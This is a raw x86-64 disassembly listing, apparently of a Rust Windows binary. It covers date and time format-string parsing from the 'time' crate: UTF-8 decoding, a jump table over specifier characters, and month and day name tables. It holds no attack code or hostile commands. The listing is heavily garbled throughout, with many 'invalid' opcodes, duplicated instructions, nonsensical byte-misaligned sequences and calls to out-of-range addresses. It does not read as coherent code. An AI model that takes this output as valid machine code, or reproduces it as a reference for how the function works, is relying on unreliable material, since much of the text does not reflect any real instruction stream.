mov qword [rax + rcx + 8], rbp
inc rdx
mov qword [rsp + 0x48], rdx
cmp rdi, rsi
je 0x140015635
movzx eax, byte [rdi]
test al, al
js 0x140014c74
lea r8, [rdi + 1]
jmp 0x140014cdc
mov ecx, eax
and ecx, 0x1f
movzx r10d, byte [rdi + 1]
and r10d, 0x3f
cmp al, 0xdf
jbe 0x140014cc5
lea r8, [rdi + 3]
movzx r9d, byte [rdi + 2]
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
cmp al, 0xf0
jb 0x140014cd3
movzx eax, byte [r8]
and ecx, 7
shl ecx, 0x12
shl r9d, 6
and eax, 0x3f
or eax, r9d
or eax, ecx
cmp eax, 0x110000
je 0x140015635
lea r8, [rdi + 4]
jmp 0x140014cdc
lea r8, [rdi + 2]
shl ecx, 6
or ecx, r10d
mov eax, ecx
jmp 0x140014cdc
shl ecx, 0xc
or r9d, ecx
mov eax, r9d
mov r15, r8
sub r15, rdi
add r15, r12
cmp eax, 0x2d
je 0x140014cfe
cmp eax, 0x30
je 0x140014cfa
mov cl, 3
cmp eax, 0x5f
jne 0x140014d6a
mov cl, 1
jmp 0x140014d00
mov cl, 2
jmp 0x140014d00
xor ecx, ecx
cmp r8, rsi
je 0x140015635
movzx eax, byte [r8]
test al, al
js 0x140014d17
lea rdi, [r8 + 1]
jmp 0x140014d93
mov r9d, eax
and r9d, 0x1f
movzx r11d, byte [r8 + 1]
and r11d, 0x3f
cmp al, 0xdf
jbe 0x140014d75
movzx r10d, byte [r8 + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp al, 0xf0
jb 0x140014d85
movzx eax, byte [r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and eax, 0x3f
or eax, r10d
or eax, r9d
cmp eax, 0x110000
je 0x140015635
lea rdi, [r8 + 4]
jmp 0x140014d93
mov r13, r15
mov rdi, r8
mov r15, r12
jmp 0x140014d9c
lea rdi, [r8 + 2]
js 0x140014d7b
shl r9d, 6
loope 0x140014d83
or r9d, r11d
mov eax, r9d
jmp 0x140014d93
lea rdi, [r8 + 3]
shl r9d, 0xc
or r10d, r9d
mov eax, r10d
mov r13, r15
sub r13, r8
add r13, rdi
lea r8d, [rax - 0x41]
cmp r8d, 0x39
cmp dword [rdi + 0x48], esi
lea r9, [0x140102118]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
cmp rdx, qword [rsp + 0x38]
jne 0x140014dd0
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 1
add ecx, ebp
stosb byte [rdi], al
invalid
add byte [rax], al
cmp eax, 0x25
je 0x1400154a3
jmp 0x14001562a
cmp cl, 3
movzx eax, cl
sar dword [rbp + 2], 0xf
call 0x164558956
cmp byte [rbp + 0x12], dh
sar dword [rbp + 2], 0xf
call 0x164558956
cmp byte [rbp + 0x12], dh
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140014e33
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0xe
jmp 0x140015493
cmp cl, 3
movzx eax, cl
sar dword [rbp + 2], 0xf
call 0x16455899b
cmp byte [rbp + 0x12], dh
sar dword [rbp + 2], 0xf
call 0x16455899b
cmp byte [rbp + 0x12], dh
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140014e78
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0x1d
jmp 0x140015493
cmp cl, 3
movzx eax, cl
sar dword [rbp + 2], 0xf
call 0x1645589e0
cmp byte [rbp + 0x12], dh
sar dword [rbp + 2], 0xf
call 0x1645589e0
cmp byte [rbp + 0x12], dh
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140014ebd
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0xd
jmp 0x140015493
or byte [rax], r9b
or eax, 0x5c8e9
add byte [rax + 0x3b], cl
cmp rdx, qword [rsp + 0x38]
cmp rdx, qword [rsp + 0x38]
jne 0x140014ee4
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140014ef4
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0x13
jmp 0x140015498
cmp cl, 3
movzx eax, cl
sar dword [rbp + 2], 0xf
call 0x164558a5c
cmp byte [rbp + 0x12], dh
sar dword [rbp + 2], 0xf
call 0x164558a5c
cmp byte [rbp + 0x12], dh
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140014f39
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0x1b
jmp 0x140015493
or byte [rax], r9b
sbb ebp, ecx
add rax, 0x3b480000
cmp rdx, qword [rsp + 0x38]
cmp rdx, qword [rsp + 0x38]
jne 0x140014f60
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140014f70
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0x10
jmp 0x140015498
cmp cl, 3
movzx eax, cl
sar dword [rbp + 2], 0xf
call 0x164558ad8
cmp byte [rbp + 0x12], dh
sar dword [rbp + 2], 0xf
call 0x164558ad8
cmp byte [rbp + 0x12], dh
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140014fb5
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0x18
jmp 0x140015493
cmp cl, 3
movzx eax, cl
sar dword [rbp + 2], 0xf
call 0x164558b1d
cmp byte [rbp + 0x12], dh
sar dword [rbp + 2], 0xf
call 0x164558b1d
cmp byte [rbp + 0x12], dh
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140014ffa
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0xb
jmp 0x140015493
cmp cl, 3
movzx eax, cl
sar dword [rbp + 2], 0xf
call 0x164558b62
cmp byte [rbp + 0x12], dh
sar dword [rbp + 2], 0xf
call 0x164558b62
cmp byte [rbp + 0x12], dh
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x14001503f
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0xf
jmp 0x140015493
or byte [rax], r9b
psubsw mm0, qword [rsi + 4]
add byte [rax], al
cmp rdx, qword [rsp + 0x38]
jne 0x140015066
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140015076
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 3
jmp 0x140015498
or byte [rax], r9b
add ebp, ecx
adc al, 4
add byte [rax], al
cmp rdx, qword [rsp + 0x38]
jne 0x14001509d
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x1400150ad
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 7
jmp 0x140015498
cmp cl, 3
movzx eax, cl
sar dword [rbp + 2], 0xf
call 0x164558c15
cmp byte [rbp + 0x12], dh
sar dword [rbp + 2], 0xf
call 0x164558c15
cmp byte [rbp + 0x12], dh
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x1400150f2
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 5
jmp 0x140015493
or byte [rax], r9b
add eax, 0x393e9
add byte [rax + 0x3b], cl
cmp rdx, qword [rsp + 0x38]
cmp rdx, qword [rsp + 0x38]
jne 0x140015119
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140015129
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 8
jmp 0x140015498
or byte [rax], r9b
or cl, ch
invalid
cmp rdx, qword [rsp + 0x38]
jne 0x140015150
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140015160
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0x14
jmp 0x140015498
cmp cl, 3
movzx eax, cl
sar dword [rbp + 2], 0xf
call 0x164558cc8
cmp byte [rbp + 0x12], dh
sar dword [rbp + 2], 0xf
call 0x164558cc8
cmp byte [rbp + 0x12], dh
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x1400151a5
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0x15
jmp 0x140015493
or byte [rax], r9b
adc eax, 0x2e0e9
add byte [rax + 0x3b], cl
cmp rdx, qword [rsp + 0x38]
cmp rdx, qword [rsp + 0x38]
jne 0x1400151cc
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x1400151dc
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0x17
jmp 0x140015498
cmp cl, 3
movzx eax, cl
sar dword [rbp + 2], 0xf
call 0x164558d44
cmp byte [rbp + 0x12], dh
sar dword [rbp + 2], 0xf
call 0x164558d44
cmp byte [rbp + 0x12], dh
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140015221
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0xa
jmp 0x140015493
cmp cl, 3
movzx eax, cl
sar dword [rbp + 2], 0xf
call 0x164558d89
cmp byte [rbp + 0x12], dh
sar dword [rbp + 2], 0xf
call 0x164558d89
cmp byte [rbp + 0x12], dh
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140015266
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 9
jmp 0x140015493
or byte [rax], r9b
or ecx, ebp
invalid
cmp rdx, qword [rsp + 0x38]
jne 0x14001528d
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x14001529d
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0x16
jmp 0x140015498
cmp cl, 3
movzx eax, cl
sar dword [rbp + 2], 0xf
call 0x164558e05
cmp byte [rbp + 0x12], dh
sar dword [rbp + 2], 0xf
call 0x164558e05
cmp byte [rbp + 0x12], dh
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x1400152e2
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0xc
jmp 0x140015493
or byte [rax], r9b
or al, 0xe9
movabs dword [0x3824543b48000001], eax
cmp rdx, qword [rsp + 0x38]
cmp rdx, qword [rsp + 0x38]
jne 0x140015309
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140015319
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0x12
jmp 0x140015498
cmp cl, 3
movzx eax, cl
sar dword [rbp + 2], 0xf
call 0x164558e81
cmp byte [rbp + 0x12], dh
sar dword [rbp + 2], 0xf
call 0x164558e81
cmp byte [rbp + 0x12], dh
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x14001535e
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0x19
jmp 0x140015493
or byte [rax], r9b
sbb ecx, ebp
invalid
cmp rdx, qword [rsp + 0x38]
jne 0x140015385
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140015395
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0
jmp 0x140015498
or byte [rax], r9b
add cl, ch
cmc
add byte [rax], al
add byte [rax + 0x3b], cl
cmp rdx, qword [rsp + 0x38]
cmp rdx, qword [rsp + 0x38]
jne 0x1400153bc
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x1400153cc
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 2
jmp 0x140015498
or byte [rax], r9b
add ch, cl
mov esi, 0x48000000
cmp rdx, qword [rsp + 0x38]
cmp rdx, qword [rsp + 0x38]
jne 0x1400153f3
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140015403
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0x11
jmp 0x140015498
cmp cl, 3
movzx eax, cl
add ecx, dword [rdi]
mov dh, 0xc1
mov ebp, 2
cmovne ebp, eax
cmp rdx, qword [rsp + 0x38]
jne 0x140015438
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
ror dword [rax - 0x3f], 1
loope 0x140015448
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0x1c
jmp 0x140015493
cmp cl, 3
movzx eax, cl
mov ebp, 2
cmovne ebp, eax
cmp rdx, qword [rsp + 0x38]
jne 0x14001547a
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
add byte [rcx - 0x75], cl
push rsp
and al, 0x10
add byte [rcx - 0x75], cl
push rsp
and al, 0x10
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 6
mov byte [rax + rcx + 9], bpl
inc r15
inc rdx
mov qword [rsp + 0x48], rdx
push rsp
and al, 0x48
mov rax, rdi
cmp rdi, rsi
test dword [rdi], 0xfff67d85
invalid
test dword [rdi], 0xfff67d85
invalid
jmp 0x140015556
cmp rdx, qword [rsp + 0x38]
jne 0x1400154cd
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
ror dword [rax - 0x3f], 1
loope 0x1400154dd
mov qword [rax + rcx], 0
add byte [rax], al
mov byte [rax + rcx + 8], 0x1a
jmp 0x140015498
cmp rdx, qword [rsp + 0x38]
jne 0x140015501
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
loope 0x140015511
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 4
jmp 0x140015498
cmp rdx, qword [rsp + 0x38]
jne 0x140015538
lea r12, [rsp + 0x38]
mov rcx, r12
call fcn.14004a8e8
mov rdx, qword [r12 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
mov qword [rax + rcx], 0
mov byte [rax + rcx + 8], 0x1e
jmp 0x140015498
mov rsi, r14
sub rsi, r15
jbe 0x1400155f4
test r15, r15
je 0x1400155b9
mov rax, qword [rsp + 0x110]
cmp byte [rax + r15], 0xbf
jg 0x1400155bc
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_time_0.2.27_src_format_parse_items.rs_B
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x110]
mov rdx, r14
mov r8, r15
mov r9, r14
call fcn.14001f890
mov ecx, ebx
and ecx, 0xff00
mov ebp, ebx
and ebp, 0xffff0000
mov r15d, 6
jmp 0x1400155b4
jmp 0x140017b02
mov rsi, r14
add rbx, r15
cmp rdx, qword [rsp + 0x38]
jne 0x1400155d7
lea r14, [rsp + 0x38]
mov rcx, r14
call fcn.14004a8e8
mov rdx, qword [r14 + 0x10]
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
mov qword [rax + rcx], rbx
mov qword [rax + rcx + 8], rsi
inc rdx
mov qword [rsp + 0x48], rdx
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xf8], rax
jmp 0x1400156b0
cmp eax, 0x110000
jne case.0x140014db4.90
mov ecx, 0x4d
call fcn.1400f4dd8
mov rbx, rax
mov r14, rdx
lea rdx, str.Cannot_end_formatting_with____._If_you_want_a_literal______you_must_use_____.Invalid_specifier__
add byte [rax], al
add al, ch
cdq
test dword [0x1038a9e46], 0x48d68949
lea edx, str.Cannot_end_formatting_with____._If_you_want_a_literal______you_must_use_____.Invalid_specifier__
mov r8d, 0x4d
mov rcx, r14
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], r14
mov dword [rsp + 0xf8], esi
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax], ah
add dword [rax], eax
add byte [rbp], cl
add byte [rax], al
mov qword [rsp + 0x100], 0x4d
mov qword [rsp + 0xe8], 1
cmp qword [rsp + 0x38], 0
je 0x140017cb8
mov r8, qword [rsp + 0x40]
and al, 0x40
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
cmp qword [rsp + 0xe8], 0
add byte [rax], al
add byte [rdi], cl
test dword [rax], ecx
add byte es:[rax], al
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0xe0], rax
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
mov r15, qword [rsp + 0x100]
test r15, r15
je 0x140016aa6
invalid
adc eax, dword [rax]
invalid
invalid
shl r15, 4
mov r14, qword [rsp + 0xd8]
add r15, r14
lea rsi, [0x140102200]
mov qword [rsp + 0xc8], r15
mov dword [rsp + 0xc8], edi
mov r12, qword [r14]
mov rbx, qword [r14 + 8]
test r12, r12
test esp, esp
test esp, esp
je 0x14001574e
mov rbp, qword [rsp + 0x30]
cmp rbp, rbx
jb 0x140016c3c
mov r13, qword [rsp + 0x28]
mov rcx, r12
mov rdx, r13
mov r8, rbx
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x140016c33
invalid
test rbx, rbx
je 0x14001577a
mov rax, rbp
sub rax, rbx
jbe 0x14001577d
cmp byte [r13 + rbx], 0xbf
jg 0x14001577d
jmp 0x140017c6f
mov ebp, ebx
shr ebp, 8
movzx eax, bl
movsxd rax, dword [rsi + rax*4]
add rax, rsi
jmp rax
lea rax, str.MonTueWedThuFriSatSun
lea rdx, [rsp + 0x50]
mov qword [rdx], rax
lea rax, [0x140163d68]
jmp 0x140015d40
mov rax, rbp
add r13, rbx
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x30], rax
jmp 0x140016a3e
fld dword [rcx - 0x48]
and byte [rax], al
add byte [rax], al
call fcn.1400e4075
mov r15d, dword [rbx]
cmp r15d, 0x12
jne 0x140016ed7
xor ebp, ebp
lea rcx, [rsp + 0x28]
xor edx, edx
call fcn.1400e4185
mov ebx, edx
test al, 1
je 0x140017562
invalid
invalid
sbb eax, dword [rax]
invalid
mov byte [rsp + 0xb4], 1
mov byte [rsp + 0xb5], bl
pushfq
and al, 0xb5
add byte [rax], al
add byte [rax - 0x73], cl
lea rbx, [rsp + 0x50]
lea rbx, [rsp + 0x50]
lea rdx, [rsp + 0x28]
mov rcx, rbx
mov r8d, 0x3a
call fcn.1400e4075
mov r15d, dword [rbx]
cmp r15d, 0x12
jne 0x140016ed7
lea rcx, [rsp + 0x28]
mov dl, 2
call fcn.1400e4185
mov ebx, edx
test al, 1
je 0x140017408
invalid
mov byte [rsp + 0xb6], 1
mov byte [rsp + 0xb7], bl
lea rbx, [rsp + 0x50]
lea rdx, [rsp + 0x28]
mov rcx, rbx
fld dword [rcx - 0x48]
cmp al, byte [rax]
add byte [rax], al
fld dword [rcx - 0x48]
cmp al, byte [rax]
add byte [rax], al
call fcn.1400e4075
mov r15d, dword [rbx]
cmp r15d, 0x12
jne 0x140016ed7
lea rcx, [rsp + 0x28]
mov dl, 2
call fcn.1400e4185
mov ebx, edx
test al, 1
je 0x1400174f1
invalid
mov ah, 0x1a
sbb al, byte [rax]
invalid
test byte [rdx + rbx - 0x7b3a0000], dh
and al, 0xb8
mov byte [rsp + 0xb8], 1
add byte [rax], al
add byte [rcx], al
mov byte [rsp + 0xb9], bl
lea rbx, [rsp + 0x50]
pop rsp
and al, 0x50
lea rdx, [rsp + 0x28]
mov rcx, rbx
mov r8d, 0x20
call fcn.1400e4075
mov r15d, dword [rbx]
cmp r15d, 0x12
jne 0x140016ed7
lea rbx, [rsp + 0x50]
lea ebx, [rsp + 0x50]
lea rdx, [rsp + 0x90]
lea r8, [rsp + 0x28]
nop
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x28
mov rcx, rbx
xor r9d, r9d
call fcn.1400e4979
jmp 0x140015a7a
or al, 0
mov r15d, dword [rbx]
cmp r15d, 0x12
je 0x140016a2f
jmp 0x140015a7a
jmp 0x140016ed7
test al, 1
je 0x14001784d
mov ebx, 0
mov ebp, 0
test dl, dl
je 0x140017851
invalid
invalid
add byte [rax], al
mov byte [rsp + 0xc1], dl
jmp 0x140016a2f
add eax, ebx
mov dword [rsp + 0x90], 1
mov dword [rsp + 0x94], eax
jmp 0x140016a37
lea rax, str.JanFebMarAprMayJunJulAugSepOctNovDec
lea rdx, [rsp + 0x50]
mov qword [rdx], rax
lea rax, str.JanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecember
jmp 0x140015bf2
mov qword [rdx + 8], rax
mov byte [rdx + 0x28], 1
xorps xmm0, xmm0
lea rax, [rsp + 0x60]
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x28]
call fcn.1400e47b9
mov r15d, 5
xor edi, edi
test al, 1
je 0x14001784d
mov ebx, 0
mov ebp, 0
add byte [rax], al
add byte [rdx + rdx*8 + 0x1c18840f], al
add byte [rax], al
mov byte [rsp + 0xbe], dl
jmp 0x140016a2f
invalid
add byte [rax], al
mov ebx, 0
mov ebp, 0
test dl, dl
je 0x140017851
mov byte [rsp + 0xbe], dl
lea rbx, [rsp + 0x50]
pop rsp
and al, 0x50
pop rsp
and al, 0x50
lea rdx, [rsp + 0x28]
mov rcx, rbx
mov r8d, 0x2f
call fcn.1400e4075
mov r15d, dword [rbx]
cmp r15d, 0x12
jne 0x140016ed7
lea rcx, [rsp + 0x28]
mov dl, 2
call fcn.1400e4185
in al, 0xc
add byte [rcx - 0x41], al
or dword [rax], eax
add byte [rax], al
xor edi, edi
test al, 1
je 0x14001784d
mov ebx, 0
mov ebp, 0
test dl, dl
je 0x140017851
mov byte [rsp + 0xbf], dl
lea rbx, [rsp + 0x50]
lea rdx, [rsp + 0x28]
mov rcx, rbx
mov r8d, 0x2f
call fcn.1400e4075
mov r15d, dword [rbx]
cmp r15d, 0x12
jne 0x140016ed7
mov esi, dword [rsp + 0x98]
mov edi, dword [rsp + 0x9c]
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
mov dl, 2
call fcn.1400e4a81
mov ebx, edx
test eax, eax
mov r15, qword [rsp + 0xc8]
jne 0x140016423
jmp 0x1400177d5
lea rax, str.MondayTuesdayWednesdayThursdayFridaySaturdaySunday
lea rdx, [rsp + 0x50]
and al, 0x50
mov qword [rdx], rax
lea rax, str.JanFebMarAprMayJunJulAugSepOctNovDec
mov qword [rdx + 8], rax
lea rax, [0x140163d68]
loopne 0x140015d5e
add byte [rax - 0x77], cl
adc byte [rcx + 7], dil
add rax, rcx
mov qword [rdx + 0x18], rax
mov qword [rdx + 0x20], 0
mov qword [rdx + 0x28], rcx
mov qword [rdx + 0x30], rcx
lea rcx, [rsp + 0x28]
call fcn.1400e46ed
cmp al, 7
je 0x140017212
mov byte [rsp + 0xbd], al
jmp 0x140016a3e
test byte [rdi*4 - 0x17000000], ah
mov ch, 0xc
add byte [rax], al
lea rax, [0x140164350]
lea eax, [0x140164350]
lea eax, [0x140164350]
lea rcx, [rsp + 0x50]
mov qword [rcx], rax
lea rax, str.PMAM
jmp 0x140015f0b
call fcn.1400e3f42
mov ebx, edx
test eax, eax
je 0x1400177d5
imul eax, ebx, 0x64
mov ecx, dword [rsp + 0x98]
movsxd rdx, dword [rsp + 0x9c]
imul r8, rdx, 0x51eb851f
mov r9, r8
shr r9, 0x3f
shr ecx, 0x3f
sar r8, 0x25
add r8d, r9d
imul r8d, r8d, 0x64
shl byte [rsp + rax*2 + 0x29], 0xc2
shl byte [rsp + rax*2 + 0x29], 0xc2
test ecx, ecx
cmove edx, ecx
ror dword [rbp - 0x2d7a9bb6], 1
cmovns ecx, edx
add ecx, eax
mov dword [rsp + 0x98], 1
mov dword [rsp + 0x9c], ecx
jmp 0x140016a3e
invalid
add byte [rcx], dh
in eax, dx
lea rcx, [rsp + 0x28]
xor edx, edx
call fcn.1400e4185
mov ebx, edx
test al, 1
je 0x140017562
invalid
add byte [rax], al
mov byte [rsp + 0xb4], 1
mov byte [rsp + 0xb5], bl
lea rbx, [rsp + 0x50]
push rax
lea rdx, [rsp + 0x28]
mov rcx, rbx
mov r8d, 0x3a
call fcn.1400e4075
mov r15d, dword [rbx]
cmp r15d, 0x12
jne 0x140016ed7
lea rcx, [rsp + 0x28]
mov dl, 2
call fcn.1400e4185
mov ebx, edx
test al, 1
je 0x140017408
mov byte [rsp + 0xb6], 1
mov byte [rsp + 0xb7], bl
jmp 0x140016485
mov qword [rcx + 8], rax
lea rdx, [rsp + 0x28]
and al, 0x28
and al, 0x28
call fcn.1400e303d
cmp al, 2
je 0x14001756f
mov byte [rsp + 0xbc], al
jmp 0x140016a3e
and al, 0x50
lea rdx, [rsp + 0x90]
lea r8, [rsp + 0x28]
mov rcx, rbx
xor r9d, r9d
call fcn.1400e4979
mov r15d, dword [rbx]
cmp r15d, 0x12
jne 0x140016ed7
lea rbx, [rsp + 0x50]
lea rdx, [rsp + 0x28]
mov rcx, rbx
mov r8d, 0x2d
call fcn.1400e4075
mov r15d, dword [rbx]
mov edi, dword [rbx]
cmp r15d, 0x12
jne 0x140016ed7
lea rcx, [rsp + 0x28]
mov dl, 2
call fcn.1400e4185
mov r15d, 5
xor edi, edi
test al, 1
je 0x14001784d
mov ebx, 0
mov ebp, 0
test dl, dl
je 0x140017851
mov byte [rsp + 0xbe], dl
lea rbx, [rsp + 0x50]
and al, 0xbe
add byte [rax], al
add byte [rax - 0x73], cl
pop rsp
and al, 0x50
lea rdx, [rsp + 0x28]
mov rcx, rbx
mov r8d, 0x2d
call fcn.1400e4075
mov r15d, dword [rbx]
cmp r15d, 0x12
jne 0x140016ed7
lea rcx, [rsp + 0x28]
mov dl, 2
call fcn.1400e4185
mov r15d, 9
xor edi, edi
test al, 1
je 0x14001784d
mov ebx, 0
mov ebp, 0
test dl, dl
je 0x140017851
mov byte [rsp + 0xbf], dl
jmp 0x140016a2f
adc al, 0
mov qword [rcx + 8], rax
lea rdx, [rsp + 0x28]
call fcn.1400e30fe
mov ebx, edx
test ax, ax
je 0x1400177f8
lea rcx, [rsp + 0x28]
call fcn.1400e450a
mov ebp, edx
test ax, ax
je 0x1400177f2
sub al, 0x17
add byte [rax], al
lea rcx, [rsp + 0x28]
call fcn.1400e450a
test ax, ax
je 0x1400177f6
invalid
add byte [rax], al
imul eax, ebp, 0x3c
add edx, eax
imul ebx, edx
movsx eax, bx
imul eax, eax, 0x3c
mov dword [rsp + 0xa8], 1
mov dword [rsp + 0xac], eax
jmp 0x140016a3e
add byte [rax], al
